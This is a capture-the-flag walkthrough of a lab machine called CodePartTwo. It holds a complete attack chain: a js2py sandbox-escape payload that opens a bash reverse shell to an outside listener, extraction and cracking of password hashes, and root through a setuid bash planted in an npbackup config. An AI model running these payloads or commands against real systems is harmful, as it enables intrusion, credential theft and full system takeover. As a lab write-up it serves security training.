```
Starting off with nmap:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-29 09:10 CDT
Nmap scan report for 10.129.79.79
Host is up (0.0100s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux;
protocol 2.0)
| ssh-hostkey:
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_  256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Welcome to CodePartTwo
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.30 seconds
```

Looks like we have a Gunicorn 20.0.4 running on port 8000.

What's Gunicorn:

> Gunicorn is **a production-ready WSGI server that efficiently handles multiple requests using worker processes**. Unlike Flask's built-in server, Gunicorn scales smoothly, keeping your application stable and performant under real-world traffic. Gunicorn can be installed via pip

By looking up for http://10.129.79.79:8000 you'll find an homepage taking you to an app download, a register form and a login form.

Username: test0 Password: test0

When logged in we'll find a dashboard in which we can write, run and save lines of codes (In JS apparently).

Directory enumeration

```
ffuf -u http://10.129.79.79:8000/FUZZ -w /usr/share/wordlists/dirb/common.txt
-c -t 50 -fc 404
```

```
                        [Status: 200, Size: 2212, Words: 457, Lines: 48,
Duration: 13ms]
dashboard               [Status: 302, Size: 199, Words: 18, Lines: 6,
Duration: 10ms]
download                [Status: 200, Size: 10708, Words: 51, Lines: 48,
Duration: 12ms]
login                   [Status: 200, Size: 667, Words: 119, Lines: 20,
Duration: 14ms]
logout                  [Status: 302, Size: 189, Words: 18, Lines: 6,
Duration: 11ms]
register                [Status: 200, Size: 651, Words: 117, Lines: 20,
Duration: 11ms]
```

We can notice a /download directory, if we look up for http://10.129.79.79:8000/download we'll download an app.zip file. Unzip the file and take a look inside.

ls
app.py instance requirements.txt static templates

```
cat requirements.txt
flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74
```

You won't find anything useful for flask and flask-sqlalchemy, js2py has an RCE CVE tho.

Started looking for an exploit and found https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape.git

```
git clone https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape.git
python3 poc.py
```

Activated a listener on port 9001

```
nc -nlvp 9001
```

That's what i've run on the WebApp:

```
let cmd = ['bash', '-c', 'bash -i >& /dev/tcp/10.10.14.162/9001 0>&1'];
let hacked, bymarve, nil;
let getattr, obj;
hacked = Object.getOwnPropertyNames({});
bymarve = hacked.__getattribute__;
```

```
nil = bymarve('__getattribute__');
obj = nil('__class__').__base__;
getattr = obj.__getattribute__;
function findpopen(o) {
let result = [];
for (let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if (item.__module__ == 'subprocess' && item.__name__ == 'Popen') {
return item;
}
if (item.__name__ != 'type' && (result = findpopen(item))) {
return result;
}
}
return null;
}
let popen = findpopen(obj);
let p = popen(cmd, 1, null, -1, -1, null, null, true);
p.communicate();
```

That's what i've got on the terminal with the active listener:\

```
app@codeparttwo:~/app$ id
id
uid=1001(app) gid=1001(app) groups=1001(app)
```

Inside the listener

That's what we have inside the /home directory:

```
app@codeparttwo:/home$ ls
app
marco
```

Navigating through instance directory i've found a users.db file.

```
sqlite3 users.db
sqlite> SELECT * FROM user;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
```

Now we got hashed marco's and app's password, used hashcat to dehash the password.

```
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt.gz
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec

[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit =>
649c9d65a206a75f5abe509fe128bce5:sweetangelbabylove
```

SSH

```
ssh marco@10.129.229.172
password: sweetangelbabylove
```

Now we have the user flag.

```
marco@codeparttwo:~$ cat user.txt
9a2ac7765fa9df77504b79de9bfc6c55
```

Privilege escalation

LinPeas will tell you that the system is vulnerable to CVE-2021-3560, which is actually true but I honestly had some bad 15 minutes trying to figure out what to do with that.

```
marco@codeparttwo:~$ sudo -l
Matching Defaults entries for marco on codeparttwo:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\
:/snap/bin

User marco may run the following commands on codeparttwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
```

Here we can notice that marco can root run /usr/local/bin/npbackup-cli, which is a basic NetBackup CLI service. Inside the home directory (literally after you get the SSH access) you'll be able to find the configuration file.

```
marco@codeparttwo:~$ ls
backups      npbackup.conf      user.txt
```

We can take a look at what's inside npbackup.conf

```
conf_version: 3.0.1
audience: public
repos:
default:
repo_uri:
__NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw
8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
repo_group: default_group
backup_opts:
paths:
- /home/app/app/
source_type: folder_list
exclude_files_larger_than: 0.0
repo_opts:
repo_password:
__NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw
8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
retention_policy: {}
prune_max_unused: 0
prometheus: {}
env: {}
is_protected: false
groups:
default_group:
backup_opts:
paths: []
source_type:
stdin_from_command:
stdin_filename:
tags: []
compression: auto
use_fs_snapshot: true
ignore_cloud_files: true
one_file_system: false
priority: low
exclude_caches: true
excludes_case_ignore: false
exclude_files:
- excludes/generic_excluded_extensions
- excludes/generic_excludes
- excludes/windows_excludes
- excludes/linux_excludes
exclude_patterns: []
exclude_files_larger_than:
```

```
additional_parameters:
additional_backup_only_parameters:
minimum_backup_size_error: 10 MiB
pre_exec_commands: []
pre_exec_per_command_timeout: 3600
pre_exec_failure_is_fatal: false
post_exec_commands: []
post_exec_per_command_timeout: 3600
post_exec_failure_is_fatal: false
post_exec_execute_even_on_backup_error: true
post_backup_housekeeping_percent_chance: 0
post_backup_housekeeping_interval: 0
repo_opts:
repo_password:
repo_password_command:
minimum_backup_age: 1440
upload_speed: 800 Mib
download_speed: 0 Mib
backend_connections: 0
retention_policy:
last: 3
hourly: 72
daily: 30
weekly: 4
monthly: 12
yearly: 3
tags: []
keep_within: true
group_by_host: true
group_by_tags: true
group_by_paths: false
ntp_server:
prune_max_unused: 0 B
prune_max_repack_size:
prometheus:
backup_job: ${MACHINE_ID}
group: ${MACHINE_GROUP}
env:
env_variables: {}
encrypted_env_variables: {}
is_protected: false
identity:
machine_id: ${HOSTNAME}__blw0
machine_group:
global_prometheus:
metrics: false
```

`instance: ${MACHINE_ID}`
`destination:`
`http_username:`
`http_password:`
`additional_labels: {}`
`no_cert_verify: false`
`global_options:`
`auto_upgrade: false`
`auto_upgrade_percent_chance: 5`
`auto_upgrade_interval: 15`
`auto_upgrade_server_url:`
`auto_upgrade_server_username:`
`auto_upgrade_server_password:`
`auto_upgrade_host_identity: ${MACHINE_ID}`
`auto_upgrade_group: ${MACHINE_GROUP}`

The `pre_exec_commands: []` is crucial since its the line of code which runs bash commands as root.

Since we can't directly write inside npbackup.conf, we'll just make a copy of it

```
marco@codeparttwo:~$ cp npbackup.conf root.conf
```

after that, you'll paste this command right here under the `pre_exec_commands: []` : `chmod 4755 /bin/bash`

For clarity:

- `chmod` changes file permissions.
- `4` (in `4755`) is the **setuid** bit.
- `755` is standard execute/read permissions
- Owner: read, write, execute
- Group: read, execute
- Others: read, execute

So that this is /bin/bash before the command:

```
-rwxr-xr-x 1 root root ...
```

After the command:

```
-rwsr-xr-x 1 root root ...
```

Where the s in rws stands for SETUID BIT IS ACTIVE

Injecting payload

After all that, we'll just have to inject the payload

```
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c root.conf -b
```

-b is necessary to create the backup for our injection.

```
marco@codeparttwo:~$ /bin/bash

bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
e18abf7971c9cae95b7cbf1b389d301a
```